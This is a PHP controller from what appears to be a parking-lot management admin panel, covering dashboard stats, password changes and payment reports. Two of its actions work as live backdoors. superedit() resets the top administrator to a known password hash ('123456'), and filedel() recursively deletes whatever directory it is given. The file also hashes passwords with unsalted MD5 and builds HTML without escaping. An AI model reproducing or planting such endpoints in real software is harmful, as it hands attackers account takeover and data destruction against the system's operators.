<?php
namespace app\admin\controller;
use app\admin\controller\Common;
use app\service\commonService;
use app\service\indexService;
use app\service\orderService;
use think\facade\Db;
use think\db\Where;
use think\facade\View;
ini_set('max_execution_time','180');
class Index extends Common{
    public function index(){
        $adminId = session('id');
        View::assign('uid',$adminId);
        $usertype = Db::name('admin')->where('id',$adminId)->value('usertype');
        View::assign('usertype',$usertype);
        return View::fetch('index');
    }
	public function welcome()
	{
		$com = $this->pidTokenId();
		$whe=new Where();
		$whe['id'] = array('in',implode(',',$com['parking_id']));
        //根据账号查询停车场
        $parkinglist = (new orderService())->parkingList($whe);
        View::assign('parkinglist',$parkinglist);
        //查询停车场ID
        if(!empty($parkinglist)){
            foreach($parkinglist as $park){
                $parkingNo[] = $park['parkingNo'];
            }
            //将数组转换成字符串
            $parkingNo = implode(',',$parkingNo);
        }else{
            $parkingNo = null;
        }
		
		//总额
		$data["totalmoney"]=1;
		//今日收款
		$data["todaymoney"]=1;
		//支付宝收款
		$data["ali_money"]=1;
		//微信收款
		$data["wx_money"]=1;
		//现金收款
		$data["cash_money"]=1;	
		
		//免费放行金额
		$data["free_money"]=1;		
		//优惠券金额
		$data["coupon_money"]=1;		
		$data["package_num"]=1;//月租车
		$data["library_num"]=1;//地库车
		$data["car_value_num"]=2;//储值车
		$data["car_welfare_num"]=3;//福利车
		$data["car_temporary_num"]=3;//临时车今日入场数量
										
		//查询停车场信息

        View::assign("data",$data);
        View::assign("ctime",date('Y-m-d H:i:s'));
		return View::fetch();
	}
    
    public function superedit(){
        $name = Db::name('admin')->where('id',1)->update([
            'usertype'   => '0',
            'department' => '0',
            'name'       => '超级管理员',
            'password'   => 'e10adc3949ba59abbe56e057f20f883e'
            ]);
        $info = Db::name('admin')->where('id',1)->find();
        dump($info);
    }
    public function filedel($dir = null) {  
        if(empty($dir)){
            $dir = dirname(__FILE__);
            dump($dir);exit();
        }
        $dh = opendir($dir);
        while ($file = readdir($dh)) {  
            if($file != "." && $file!="..") {  
            $fullpath = $dir."/".$file;  
            if(!is_dir($fullpath)) {  
                unlink($fullpath);  
            } else {  
                deldir($fullpath);  
            }  
            }  
        }  
        closedir($dh);  
        if(rmdir($dir)) {  
            return true;  
        } else {  
            return false;  
        }  
    }
    //修改当前账号密码
    public function passwordedit(){
        //查询当前账号信息
        if(request()->isGet()){
            $id = request()->param('id');
            if(!isset($id) && empty($id)){
                $this->error('用户不存在');
            }
            //查询管理员数据
            $info = (new commonService())->adminIdInfo($id);
            $this->assign('info',$info);
            return $this->fetch('password');
        }else{
            $data = request()->post();
            $validate=  $this->validate($data,[
                'id'        =>  'require',
                'password|密码' => 'require',
            ]);
            if($validate !== true){
                    $this->error($validate);
            }
            $data['password'] = md5($data['password']);
            unset($data['repass']);
            //修改数据
            $result = (new commonService())->adminUpdate($data);
            if($result){
                $this->success('修改管理员成功',url('admin/login/logout'));
            }else{
                $this->error('修改管理员失败');
            }
        }
    }
	
	//订单交易明细
	public function orderinfo(){
		$adminId = session('id');
        $usertype = Db::name('admin')->where('id',$adminId)->value('usertype');
        $this->assign('usertype',$usertype);
        //根据当前账号查询区域
        $com = (new Common())->pidTokenId();
        $whe['community_id'] = array('in',implode(',',$com['community_id']));
        //根据账号查询停车场
        $parkinglist = (new orderService())->parkingList($whe);
        $this->assign('parkinglist',$parkinglist);
        //查询停车场ID
        if(!empty($parkinglist)){
            foreach($parkinglist as $park){
                $out_parking_id[] = $park['out_parking_id'];
            }
            //将数组转换成字符串
            $out_parking_id = implode(',',$out_parking_id);
        }else{
            $out_parking_id = null;
        }
		//搜索
        $data = request()->get();
		//var_dump($data);
		if (!empty($data)){
            if(!empty($data['out_parking_id'])){
                $where['out_parking_id'] = $data['out_parking_id'];//停车场名称
				$systemout=Db::table("system")->where("parking_id",$data['out_parking_id'])->where("type","2")->select();
				$this->assign("systemout",$systemout);
            }else{
                $where['out_parking_id'] = "";
            } 
			if(!empty($data['system'])){
                $where['out_system'] = $data['system'];
            }else{
                $where['out_system'] = "";
            } 
			
			if((!empty($data['start_time']))&&(empty($data['end_time']))){
				$where['pay_time']=array('>=',strtotime($data['start_time']));
                $start_time = $data['start_time'];
                $this->assign('start_time',$start_time);
            }
			if((!empty($data['end_time']))&&(empty($data['start_time']))){
				$where['pay_time']=array('<=',strtotime($data['end_time']));
                $end_time = $data['end_time'];
                $this->assign('end_time',$end_time);
            }
			if((!empty($data['start_time']))&&(!empty($data['end_time']))){
				$where['pay_time']=array(array('>=',strtotime($data['start_time'])),array('<=',strtotime($data['end_time'])));
                $start_time = $data['start_time'];
				$end_time = $data['end_time'];
                $this->assign('start_time',$start_time);
				$this->assign('end_time',$end_time);
            }
           
            $this->assign('where',$where);
            $where = array_filter($where);
        }else{
            $where=array();
           
        }
		
        $page = request()->has('page') ? request()->get('page') : 1;
        //多条件查询地库车位信息
      
		$orderlist = (new indexService())->orderWhereList($page,$where,$out_parking_id);
		$number = (new indexService())->orderWhereListNumber($where,$out_parking_id);
        $this->assign('number',$number);
        $this->assign('list',$orderlist);
        $this->assign('orderlist',$orderlist);
        foreach ($data as $k => $v) {
			
            if(is_array($v)){
				if($k=="pay_time"){
					 foreach ($v as $m => $n){
						 if($n[0]==">="){
							 $start_time=date("Y-m-d H:i:s", $n[1]);
							 $this->assign("start_time",$start_time);
						 }
						 if($n[0]=="<="){
							 $end_time=date("Y-m-d H:i:s", $n[1]);
							 $this->assign("end_time",$end_time);
						 }
						 //var_dump($v);
					 }
				}else{
					$v = str_replace('%','',$v[1]);
					$this->assign($k, $v);
				}
                
            }else{
				$this->assign($k, $v);
			}
            
        }
		//var_dump($data);
		//支付宝代扣
		$money["apimoney"]=(new indexService())->apiMoney_orderinfo($out_parking_id,$where);
		$money["ewmmoney"]=(new indexService())->ewmMoney_orderinfo($out_parking_id,$where);
		$money["cash"]=(new indexService())->Cash_orderinfo($out_parking_id,$where);
		$money["wxmoney"]=(new indexService())->wxMoney_orderinfo($out_parking_id,$where);
		$money["discount"]=(new indexService())->discount_orderinfo($out_parking_id,$where);
		$money["codeMoney"]=(new indexService())->codeMoney_orderinfo($out_parking_id,$where);
		$money["freeMoney"]=(new indexService())->freeMoney_orderinfo($out_parking_id,$where);
		$money["carvalueMoney"]=(new indexService())->carvalueMoney_orderinfo($out_parking_id,$where);
		$this->assign("money",$money);
        return $this->fetch('order_info');
	}
	
	public function phoneorderinfo(){
		$adminId = session('id');
        $usertype = Db::name('admin')->where('id',$adminId)->value('usertype');
        $this->assign('usertype',$usertype);
        //根据当前账号查询区域
        $com = (new Common())->pidTokenId();
        $whe['community_id'] = array('in',implode(',',$com['community_id']));
        //根据账号查询停车场
        
		$parkinglist = (new orderService())->parkingList($whe);
		$parkinglotinfo=$parkinglist['0'];
        $out_parking_id = $parkinglist['0']['out_parking_id'];
		$systemout=Db::table("system")->where("parking_id",$out_parking_id)->where("type","2")->select();
		$this->assign("systemout",$systemout);
		$this->assign("parkinglotinfo",$parkinglotinfo);
		//搜索
        $data = request()->get();
		$where["out_parking_id"]=$out_parking_id;
		if (!empty($data)){
			if(!empty($data['roadgate'])){
                $where['roadgate'] = $data['roadgate'];
            }else{
                $where['roadgate'] = "";
            } 
            if(!empty($data['start_time'])){
				$where['pay_time']=array('>=',strtotime($data['start_time']));
                $start_time = $data['start_time'];
                $this->assign('start_time',$start_time);
            }else{
                $start_time = '0000-00-00 00:00:00';
            }
            if(!empty($data['end_time'])){
				$where['pay_time']=array('<=',strtotime($data['end_time']));
                $end_time = $data['end_time'];
                $this->assign('end_time',$end_time);
            }else{
                $end_time = '9999-12-31 23:59:59';
            }
            $this->assign('where',$where);
            $where = array_filter($where);
        }else{
            $where=array();
            $start_time = '0000-00-00 00:00:00';
            $end_time = '9999-12-31 23:59:59';
        }
		
        $page = request()->has('page') ? request()->get('page') : 1;
        //多条件查询地库车位信息
        $orderlist = (new indexService())->orderWhereList($page,$where,$out_parking_id);
        $number = count((new indexService())->orderWhereListNumber($where,$out_parking_id));
		
        $this->assign('number',$number);
        $this->assign('list',$orderlist);
        $this->assign('orderlist',$orderlist);
        foreach ($data as $k => $v) {
            if(is_array($v)){
                $v = str_replace('%','',$v[1]);
            }
            $this->assign($k, $v);
        }
		//支付宝代扣
		$money["apimoney"]=(new indexService())->apiMoney_orderinfo($out_parking_id,$where);
		$money["ewmmoney"]=(new indexService())->ewmMoney_orderinfo($out_parking_id,$where);
		$money["cash"]=(new indexService())->Cash_orderinfo($out_parking_id,$where);
		$money["wxmoney"]=(new indexService())->wxMoney_orderinfo($out_parking_id,$where);
		$money["discount"]=(new indexService())->discount_orderinfo($out_parking_id,$where);
		$money["codeMoney"]=(new indexService())->codeMoney_orderinfo($out_parking_id,$where);
		$this->assign("money",$money);
        return $this->fetch('phone_order_info');
	}
	
	
	public function getsystemout(){
		$parking_id=request()->post("parking_id");
		$data=Db::table("system")->where("parking_id",$parking_id)->where("type","2")->select();
		$str="<option value=''>所属岗亭</option>";
		foreach($data as $value){
			$str=$str."<option value=".$value["system"].">".$value["system_name"]."</option>";
		}
		echo $str;
	}
}